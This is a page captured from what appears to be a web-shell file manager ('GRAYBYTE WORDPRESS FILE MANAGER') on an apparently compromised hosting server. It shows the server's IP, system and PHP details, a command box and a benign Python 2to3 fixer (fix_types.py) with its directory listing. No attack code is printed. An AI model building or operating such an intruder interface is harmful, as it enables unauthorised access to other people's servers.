GRAYBYTE WORDPRESS FILE MANAGER4456

Server IP : 198.54.121.189 / Your IP : 216.73.216.112
System : Linux premium69.web-hosting.com 4.18.0-553.44.1.lve.el8.x86_64 #1 SMP Thu Mar 13 14:29:12 UTC 2025 x86_64
PHP Version : 7.4.33
Disable Function : NONE
cURL : ON | WGET : ON | Sudo : OFF | Pkexec : OFF
Directory : /opt/alt/python34/lib64/python3.4/lib2to3/fixes/
Upload Files :
Current_dir [ Not Writeable ] Document_root [ Writeable ]

Command :


Current File : /opt/alt/python34/lib64/python3.4/lib2to3/fixes//fix_types.py
# Copyright 2007 Google, Inc. All Rights Reserved.
# Licensed to PSF under a Contributor Agreement.

"""Fixer for removing uses of the types module.

These work for only the known names in the types module.  The forms above
can include types. or not.  ie, It is assumed the module is imported either as:

    import types
    from types import ... # either * or specific types

The import statements are not modified.

There should be another fixer that handles at least the following constants:

   type([]) -> list
   type(()) -> tuple
   type('') -> str

"""

# Local imports
from ..pgen2 import token
from .. import fixer_base
from ..fixer_util import Name

_TYPE_MAPPING = {
        'BooleanType' : 'bool',
        'BufferType' : 'memoryview',
        'ClassType' : 'type',
        'ComplexType' : 'complex',
        'DictType': 'dict',
        'DictionaryType' : 'dict',
        'EllipsisType' : 'type(Ellipsis)',
        #'FileType' : 'io.IOBase',
        'FloatType': 'float',
        'IntType': 'int',
        'ListType': 'list',
        'LongType': 'int',
        'ObjectType' : 'object',
        'NoneType': 'type(None)',
        'NotImplementedType' : 'type(NotImplemented)',
        'SliceType' : 'slice',
        'StringType': 'bytes', # XXX ?
        'StringTypes' : 'str', # XXX ?
        'TupleType': 'tuple',
        'TypeType' : 'type',
        'UnicodeType': 'str',
        'XRangeType' : 'range',
    }

_pats = ["power< 'types' trailer< '.' name='%s' > >" % t for t in _TYPE_MAPPING]

class FixTypes(fixer_base.BaseFix):
    BM_compatible = True
    PATTERN = '|'.join(_pats)

    def transform(self, node, results):
        new_value = _TYPE_MAPPING.get(results["name"].value)
        if new_value:
            return Name(new_value, prefix=node.prefix)
        return None

[ Back ]
Name
Size
Last Modified
Owner / Group
Permissions
Options
..
--
May 20 2024 08:31:37
root / linksafe
0755
__pycache__
--
May 20 2024 08:31:37
root / linksafe
0755
__init__.py
0.046 KB
April 17 2024 17:10:01
root / linksafe
0644
fix_apply.py
1.856 KB
April 17 2024 17:10:02
root / linksafe
0644
fix_asserts.py
0.961 KB
April 17 2024 17:10:01
root / linksafe
0644
fix_basestring.py
0.313 KB
April 17 2024 17:10:01
root / linksafe
0644
fix_buffer.py
0.576 KB
April 17 2024 17:10:01
root / linksafe
0644
fix_callable.py
1.124 KB
April 17 2024 17:10:02
root / linksafe
0644
fix_dict.py
3.722 KB
April 17 2024 17:10:02
root / linksafe
0644
fix_except.py
3.266 KB
April 17 2024 17:10:02
root / linksafe
0644
fix_exec.py
0.978 KB
April 17 2024 17:10:02
root / linksafe
0644
fix_execfile.py
1.943 KB
April 17 2024 17:10:02
root / linksafe
0644
fix_exitfunc.py
2.437 KB
April 17 2024 17:10:02
root / linksafe
0644
fix_filter.py
2.053 KB
April 17 2024 17:10:02
root / linksafe
0644
fix_funcattrs.py
0.629 KB
April 17 2024 17:10:01
root / linksafe
0644
fix_future.py
0.534 KB
April 17 2024 17:10:01
root / linksafe
0644
fix_getcwdu.py
0.44 KB
April 17 2024 17:10:02
root / linksafe
0644
fix_has_key.py
3.146 KB
April 17 2024 17:10:01
root / linksafe
0644
fix_idioms.py
4.762 KB
April 17 2024 17:10:02
root / linksafe
0644
fix_import.py
3.18 KB
April 17 2024 17:10:01
root / linksafe
0644
fix_imports.py
5.551 KB
April 17 2024 17:10:01
root / linksafe
0644
fix_imports2.py
0.282 KB
April 17 2024 17:10:01
root / linksafe
0644
fix_input.py
0.691 KB
April 17 2024 17:10:01
root / linksafe
0644
fix_intern.py
0.756 KB
April 17 2024 17:10:02
root / linksafe
0644
fix_isinstance.py
1.57 KB
April 17 2024 17:10:01
root / linksafe
0644
fix_itertools.py
1.512 KB
April 17 2024 17:10:01
root / linksafe
0644
fix_itertools_imports.py
2.037 KB
April 17 2024 17:10:01
root / linksafe
0644
fix_long.py
0.465 KB
April 17 2024 17:10:02
root / linksafe
0644
fix_map.py
2.986 KB
April 17 2024 17:10:02
root / linksafe
0644
fix_metaclass.py
8.01 KB
April 17 2024 17:10:01
root / linksafe
0644
fix_methodattrs.py
0.592 KB
April 17 2024 17:10:02
root / linksafe
0644
fix_ne.py
0.558 KB
April 17 2024 17:10:02
root / linksafe
0644
fix_next.py
3.1 KB
April 17 2024 17:10:01
root / linksafe
0644
fix_nonzero.py
0.583 KB
April 17 2024 17:10:01
root / linksafe
0644
fix_numliterals.py
0.75 KB
April 17 2024 17:10:02
root / linksafe
0644
fix_operator.py
3.39 KB
April 17 2024 17:10:01
root / linksafe
0644
fix_paren.py
1.198 KB
April 17 2024 17:10:02
root / linksafe
0644
fix_print.py
2.787 KB
April 17 2024 17:10:01
root / linksafe
0644
fix_raise.py
2.857 KB
April 17 2024 17:10:01
root / linksafe
0644
fix_raw_input.py
0.443 KB
April 17 2024 17:10:01
root / linksafe
0644
fix_reduce.py
0.817 KB
April 17 2024 17:10:02
root / linksafe
0644
fix_reload.py
0.677 KB
April 17 2024 17:10:02
root / linksafe
0644
fix_renames.py
2.169 KB
April 17 2024 17:10:02
root / linksafe
0644
fix_repr.py
0.599 KB
April 17 2024 17:10:02
root / linksafe
0644
fix_set_literal.py
1.657 KB
April 17 2024 17:10:01
root / linksafe
0644
fix_standarderror.py
0.438 KB
April 17 2024 17:10:02
root / linksafe
0644
fix_sys_exc.py
1.01 KB
April 17 2024 17:10:02
root / linksafe
0644
fix_throw.py
1.545 KB
April 17 2024 17:10:01
root / linksafe
0644
fix_tuple_params.py
5.435 KB
April 17 2024 17:10:02
root / linksafe
0644
fix_types.py
1.755 KB
April 17 2024 17:10:01
root / linksafe
0644
fix_unicode.py
1.227 KB
April 17 2024 17:10:02
root / linksafe
0644
fix_urllib.py
8.188 KB
April 17 2024 17:10:01
root / linksafe
0644
fix_ws_comma.py
1.064 KB
April 17 2024 17:10:01
root / linksafe
0644
fix_xrange.py
2.631 KB
April 17 2024 17:10:02
root / linksafe
0644
fix_xreadlines.py
0.673 KB
April 17 2024 17:10:01
root / linksafe
0644
fix_zip.py
0.881 KB
April 17 2024 17:10:02
root / linksafe
0644

GRAYBYTE WORDPRESS FILE MANAGER @ 2025
CONTACT ME
Static GIF